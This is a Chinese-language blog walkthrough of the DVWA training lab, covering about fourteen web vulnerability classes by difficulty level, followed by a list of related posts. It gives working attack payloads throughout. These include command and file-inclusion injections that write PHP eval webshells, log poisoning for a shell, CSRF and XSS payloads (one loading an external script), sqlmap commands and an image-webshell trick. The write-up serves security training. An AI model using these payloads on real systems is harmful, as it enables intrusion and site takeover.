【WEB安全】PHP靶场实战分析——DVWA
文章目录
- 前言
- 一、实战前的准备:
- 1.dvwa靶场安装
- 2.代码审计工具介绍
- 2.1.seay代码审计工具的介绍
- 2.2.rips 审计工具介绍
- 二、DVWA通关讲解
- 1. brute force 暴力破解
- low:
- Medium:
- High:
- impossible:
- 2. Command Injection(命令行注入)
- low:
- Medium:
- High:
- 3. CSRF(跨站请求伪造)
- low:
- Medium:
- High:
- 4. File Inclusion(文件包含)
- low:
- Medium:
- High:
- impossible:
- 5. File Upload(文件上传)
- low:
- Medium:
- High:
- impossible:
- 6. Insecure CAPTCHA (不安全的验证码)
- low:
- Medium:
- High:
- impossible:
- 7. SQL Injection(SQL注入)
- low:
- Medium:
- High:
- impossible:
- 8. SQL Injection(Blind)(SQL盲注)
- low:
- Medium:
- High:
- impossible:
- 9. Weak Session IDs (脆弱的Session ID)
- low:
- Medium:
- High:
- impossible:
- 10. XSS(DOM) (DOM型XSS)
- low:
- Medium:
- High:
- impossible:
- 11. XSS(Reflected)(反射型跨站脚本)
- low:
- Medium:
- High:
- impossible:
- 12. XSS(Stored)(存储型跨站脚本)
- low:
- Medium:
- High:
- impossible:
- 13. (CSP) Bypass
- low:
- Medium:
- High:
- impossible:
- 14. JavaScript Attacks(js攻击)
- low:
- Medium:
- High:
- 总结
前言
本文章包含了DVWA靶场四个难度的详细解析,具体如下!
提示:以下是本篇文章正文内容,下面案例可供参考
一、实战前的准备:
1.dvwa靶场安装
不做过多解释,具体安装方法不会请百度。
1 修改配置文件
2 登录
3 修改php配置
2.代码审计工具介绍
2.1.seay代码审计工具的介绍
敏感参数回溯的方法
2.2.rips 审计工具介绍
可以实现跨文件的变量和函数追踪 误报率很低
rips审计工具的测试
path/file:待扫描代码的文件地址;
subdirs:是否对代码的子目录进行扫描,勾选将会扫描子目录,不勾选只扫描当前目录下的PHP文件;
verbosity level:选择source点,即可控制的输入点,定义在rips下config/sources.php中;
vuln type:选择sink点,即可能会触发各种风险的函数,定义在rips下config/sinks.php中;
scan:选择好前面的选项,点击该按钮即可开始扫描;
code style:扫描结果的展示方式;
/regex/:要搜索内容的正则表达式;
search:根据正则表达式对全局代码进行搜索;
二、DVWA通关讲解
1. brute force 暴力破解
了解dvwa目录结构
low:
SELECT * FROM ·users · WHERE user = '123123' AND password = 'f5bb0c8de146c67b44babbf4e6584cc0';
可进行爆破和注入绕过admin’ or '1
Medium:
mysqli_real_escape_string()将’转义为
只能使用burp进行爆破
High:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//stripslashes()删除由 addslashes 函数添加的 反斜杠
//mysqli_real_escape_string()将'转义为\
自己实现工具
● 拿到token在源码里
● 提交数据包
GET/vulnerabilities/brute/?username=admin&password=§123123123§&Login=Login&user_token=0cd9bfa9b6cf84c8276ea6ae61c3f8d0
impossible:
输错三次封禁15分钟!
实现方法:
写到数据库封禁时间
2. Command Injection(命令行注入)
命令连接符:
command1 && command2
&&表示先执行command1,执行成功后执行command 2,否则不执行command 2
command1 & command2
$表示先执行command 1,不管是否成功,都会执行command 2
command1 || command2
||表示先执行command1,执行失败后,执行command2
command1 | command2
|表示将command 1的输出作为command 2的输入,只打印command 2执行的结果。
low:
stristr(php_uname('s'),'Windows NT')//查找字符串 判断系统是否为win或linux
构造代码直接写入一句话
127.0.0.1 | echo "<?php @eval($_POST[x]);?>" >> 321321.php
Medium:
过滤不完整,只是把&&和;替换为空;
127.0.0.1&;&net user
High:
过滤有缺陷
127.0.0.1|net user
127.0.0.1 |net user
impossible:
将ip进行分割然后在拼接,并判断是否为数字。
3. CSRF(跨站请求伪造)
low:
GET型没有进行任何csrf验证
构造代码
<img src="098.jpg" width=300px />
<img src="http://www.z.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" width=0 />
Medium:
//stripos(源文本,要查找的文本)寻找文本首次出现位置 不存在返回false存在返回字符位置
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
验证http请求包的referer是否存在自己
自己构造referer就行
High:
//开发中, 这种已经防 csrf
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//验证took
搭配xss
dom 反射不推荐,浏览器过滤严格
推荐使用存储型xss
ajax 不能跨域
结合 DOM型 XSS来
http://www.z.com/vulnerabilities/xss_d/?default=English#<script src="http://www.a.com/xss.js"></script>
4. File Inclusion(文件包含)
low:
未做任何过滤
http://www.xxx.com/vulnerabilities/fi/?page=php://input post提交数据
<?php phpinfo(); ?>
Medium:
将接收的参数进行部分过滤http://或https和…/或…"替换为空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
page=htthttp://p://www.a.com/1.txt
page=http://www.xxx.com/vulnerabilities/fi/?page=php://input
或者post数据提交直接写入小马之后包含然后菜刀连接
<?php $f=fopen("222.txt","w");fwrite($f,"?><?php @eval(\$_POST[x]);?><?");?>
High:
只允许file开头的文件
fnmatch( “file*”, $file )
php伪协议:
● file:// — 访问本地文件系统
● http:// — 访问 HTTP(s) 网址
● ftp:// — 访问 FTP(s) URLs
● php:// — 访问各个输入/输出流(I/O streams)
● zlib:// — 压缩流
● data:// — 数据(RFC 2397)
● glob:// — 查找匹配的文件路径模式
● phar:// — PHP 归档
● ssh2:// — Secure Shell 2
● rar:// — RAR
● ogg:// — 音频流
● expect:// — 处理交互式的流
http://www.xxx.com/vulnerabilities/fi/page=xxx.php
报错会爆出绝对路径
D:\wamp\www\www.z.com\vulnerabilities\fi\index.php
推断日志目录
D:/wamp/logs/access.log
匹配file开头
file://D:/wamp/logs/access.log
包含日志成功拿到shell
impossible:
白名单写死
$file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"
5. File Upload(文件上传)
low:
没有做任何检查,直接上传即可!
Medium:
只验证了文件类型和大小,抓包修改文件名或类型即可!
php5.3.4版本一下还可以使用文件名%00截断,其他版本使用burp进行url编码即可实现截断
$uploaded_type == "image/jpeg" || $uploaded_type == "image/png"
$uploaded_size < 100000
High:
取图片头部验证是否为图片
getimagesize( $uploaded_tmp )
cmd合成图片马即可
copy 1.jpg/b+1.php/a hack.jpg
采用%00截断的方法可以轻松绕过文件名的检查,采用刚才的图片一句话进行上传。(适用于php小于 5.3.4 版本)
或者利用文件包含漏洞
impossible:
图像重组技术
6. Insecure CAPTCHA (不安全的验证码)
和逻辑漏洞相似
low:
传入参数step=2&password_new=123123&password_conf=123123&Change=Change中
step可控,源代码中step为2可跳过第一步验证直接修改密码!
Medium:
验证了如下参数是否存在
$_POST[ 'passed_captcha' ]
提交表单时把此参数添加进去即可!
High:
验证验证码时用的或,所以只需要满足后面的条件,即可绕过验证码修改密码。
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
http_user_agent=user_agent
修改user_agent为reCAPTCHA,然后在添加 即可。
impossible:
前三关全都可以用csrf绕过
写死验证码,为空就不允许通过。
7. SQL Injection(SQL注入)
low:
未进行任何过滤,sqlmap直接开始。
Medium:
过滤类型错误,应使用数字型过滤
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
直接1 or 1=1
sqlma post注入方式:
sqlmap.py -u "http://www.xxx.com/search.php" --data "search=a"
sqlmap.py -r post.txt
High:
用了302跳转防止sqlmap,手工注入还是可以的。
impossible:
检查took
判断是否为数字
is_numeric( $id )
用pdo形式处理
8. SQL Injection(Blind)(SQL盲注)
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
类似布尔注入
● 判断是否存在注入,注入是字符型还是数字型
● 猜解当前数据库名
● 猜解数据库中的表名
● 猜解表中的字段名
● 猜解数据
low:
未进行任何过滤
1’ and 1=1 #返回正常
1’ and length(database())=1
Medium:
过滤类型错误基本过滤无效,应使用数字型过滤
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
and 1=1
and 1=2
sqlmap直接开始
High:
典型的cookie注入
setcookie( 'id', $_POST[ 'id' ]);
sqlmap绕过302跳转:
在第二次请求包的cookie中添加id=1*;参数即可扫描
sqlmap.py -u "http://www.XXX.com/search.php" --cookie "id=1*;phpsession=XXXXXX"
impossible:
验证token,判断id是否为数字没法写字符串,使用pdo预处理操作
9. Weak Session IDs (脆弱的Session ID)
简单介绍:
SessionID密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时,都再使用密码认证一次。因此,当认证完成后,就需要替换一个对用户透明的凭证。这个凭证就是SessionID。
SessionID是在登录后,作为特定用户访问站点所需的唯一内容。如果能够计算或轻易猜到该SessionID,则攻击者将可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。
low:
寻找session规律发现每次+1
last_session_id
Medium:
根据眼下数字推断他是时间戳
$cookie_value = time();
High:
根据眼下字符串推断是md5加密后的数据
md5($_SESSION['last_session_id_high']);
解密多次后发现也是每次+1
impossible:
sha1强加密,随机数+时间戳+字符串!
sha1(mt_rand() . time() . "Impossible");
10. XSS(DOM) (DOM型XSS)
DOM:
代码 -> 浏览器(js)
可能触发 DOM 型 XSS 的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
js函数防止url编码:
decodeURI(url解码函数)
low:
decodeURI对输入的内容进行URL解码导致代码执行,网址后面加JavaScript代码
<img src=1 οnerrοr=alert("xss")>
<script>alert(1)</script>
根据特定情况闭合
Medium:
过滤<script
,使用<img>
标签
stripos ($default, "<script") !== false
或者使用锚点形式绕过php过滤,php不接收#后面的参数,前端接收
?xxx=11111#<script>alert(1)</script>
或者使用&号将参数连接起来php,无法接收未定义参数,前端将会接收
?xxx=11111&xxx=<script>alert(/xss/)</script>
High:
接收default只能是固定参数
所以有两种方法绕过
?xxx=11111#<script>alert(1)</script>
?xxx=11111&xxx=<script>alert(/xss/)</script>
impossible:
js强过滤保护,未使用decodeURI函数自动转码,导致js不执行!
11. XSS(Reflected)(反射型跨站脚本)
代码 -> 后端 -> 浏览器(js)
low:
后端未进行任何过滤,直接xss就可以
<script>alert(1)</script>
<img src=1 οnerrοr=alert("xss")>
Medium:
将<script>
标签替换为空,没有过滤<img>
标签
str_replace( '<script>', '', $_GET[ 'name' ] );
<sc<script>ript>alert(1)</script>
<img src=1 οnerrοr=alert("xss")>
High:
正则表达式过滤,<script>
标签完全失效!
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
使用<img>
标签
<img src=1 οnerrοr=alert("xss")>
impossible:
验证token,并且使用防止xss专用函数
htmlspecialchars( $_GET[ 'name' ] );
12. XSS(Stored)(存储型跨站脚本)
代码 -> 后端 -> 数据库 -> 浏览器(js)
low:
防止注入了但是没有防止xss。
Medium:
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>
标签。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
$name参数只是把<script>
标签替换为空区分大小写,可以进行xss。
可以大小写绕过
可<img>
标签绕过
可双写绕过
High:
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>
标签。
$name参数正则表达式过滤不区分大小写
可<img>
标签绕过
impossible:
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>
标签。
并且使用htmlspecialchars函数
彻底封死。
13. (CSP) Bypass
故名思意浏览器安全策略绕过
CSP 浏览器的安全策略
HTTP Content-Security-Policy 标签
CSP(Content Security Policy) 是一种用来防止 XSS 攻击的手段, 通过在头部添加 Content-Security-Policy 的相关参数, 来限制未知(不信任)来源的 javascript 的执行从而防止 XSS 攻击.
low:
Content-Security-Policy中存在可信任域名,虽然可以通过burp改包进行绕过,但是是在客户端执行不能用burp。
在信任域名中生成JavaScript,然后把生成的地址放到浏览框里面执行即可。
Medium:
这次使用了两个参数 self. unsafe-inline 其中 ‘unsafe-inline’ 代表可以执行诸如 onclick 等事件或 script 标签内的内容这类 javascript, 而后者就是指如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值, 比如 这个就能正常加载, 从而造成 XSS 注入.
加了个密码只有使用了这个密码才能正常执行JavaScript
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
High:
主要是一些js的知识
抓包callback参数可控,将值替换为JavaScript代码即可
impossible:
callback参数成为常量被定死,无法修改
14. JavaScript Attacks(js攻击)
low:
分析源代码得知必须填入success,且token必须为success加密后的值
$token == md5(str_rot13("success"))
Medium:
分析源代码得知必须填入success,且token必须为XXsuccessXX加密后的值
$token == strrev("XXsuccessXX")
High:
分析源代码得知必须填入success,且token必须为加密后的值
$token == hash("sha256", hash("sha256", "XX" . strrev("success")) . "ZZ")
总结
本文章为原创文章,转载请注明,其上就是全部内容,详细介绍了DVWA靶场的详细打法。
【WEB安全】PHP靶场实战分析——DVWA相关推荐
- php网站渗透实战_【案例分析】记一次综合靶场实战渗透
原标题:[案例分析]记一次综合靶场实战渗透 时间有点久,这里主要和大家分享一下思路. 该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网. 开始渗透 首先进入靶场开放的唯一一个 ...
- 跨站脚本攻击XSS(最全最细致的靶场实战)
一.XSS跨站漏洞 (1)XSS简介 网站中包含大量的动态内容以提高用户体验,比过去要复杂得多.所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容.动态站点会受到一种名为&qu ...
- [NOTE] Web For Pentester靶场练习笔记
[NOTE] Web For Pentester靶场练习笔记 文章目录 [NOTE] Web For Pentester靶场练习笔记 前言 Web基础 PHP的session管理 HTTP认证 Web ...
- 记录渗透靶场实战【网络安全】
第一次写靶场实战的文章,有不足之处还请多多指教.本次实战的靶场是红日安全vulnstack系列的第二个靶场. 靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/ ...
- Web of Science爬虫实战(Post方法)
Web of Science爬虫实战(Post方法) 一.概述 本次爬虫主要通过论文的标题来检索出该论文,从而爬取该论文的被引量,近180天下载量以及全部下载量.这里使用的是Web of Sciene ...
- Web渗透技术及实战案例解析 PDF 分享
链接:https://pan.baidu.com/s/1XsI2AemiPZH0UqFRfQZIjw 提取码:b9p1 相关推荐 WEB之困-现代WEB应用安全指南 黑客攻防技术宝 ...
- Java互联网架构-Mysql分库分表订单生成系统实战分析
分库分表的必要性 首先我们来了解一下为什么要做分库分表.在我们的业务(web应用)中,关系型数据库本身比较容易成为系统性能瓶颈,单机存储容量.连接数.处理能力等都很有限,数据库本身的"有状态 ...
- vsmoon靶场实战笔记
vsmoon靶场实战笔记 web打点 信息收集 nmap扫描端口 扫描结果 └─$ nmap -sV -A 192.168.1.106 -Pn Starting Nmap 7.92 ( https:/ ...
- Struts 2创始人Patrick Lightbody看《精通Struts 2:Web 2.0开发实战 》
<精通Struts 2:Web 2.0开发实战 > Apache Struts是目前最成功开源项目之一.除了一些基础性项目如Linux.MySQL以及若干编程语言外,很少有开源框架能像St ...
最新文章
- 在FCKeditor 2.6中添加插入视频和音频功能
- httpclient get post
- java形参的传递机制
- linux命令之nc,emacs,go run,查看文件行数等
- Spring配置C3P0开源连接池
- tcp port numbers reused出现原因_谈谈 TCP 的 TIME_WAIT
- Linux对包管理阐述
- LOJ #6052. 「雅礼集训 2017 Day11」DIV
- Ribbon 客户端负载均衡
- [CodeForces-1138B] *Circus 解方程|数学
- python爬虫运行不出结果_请问这个为什么就是爬不到,运行之后电脑卡的不行,求大佬指导...
- 【转】Dalvik虚拟机的启动过程分析
- 第09课 OpenGL 移动图像
- 如何用PS快速去除图片上的文字
- docker启动elasticsearch容器put数据时: SERVICE_UNAVAILABLE/1/state not recovered /initialized
- linux mono 安装步骤,如何在Ubuntu 18.04上安装Mono
- ckfinder 配置 php,GitHub - itxq/ckfinder: CkFinder3.5.1 for PHP 优化版 (添加又拍云存储)...
- php用ckeditor无法上传大图片,php ckeditor上传图片文件大小限制修改
- 【前端微服务化】使用飞冰搭建前端微服务化框架
- 计算机没有游戏客户端程序咋办,电脑开始菜单游戏不见了怎么办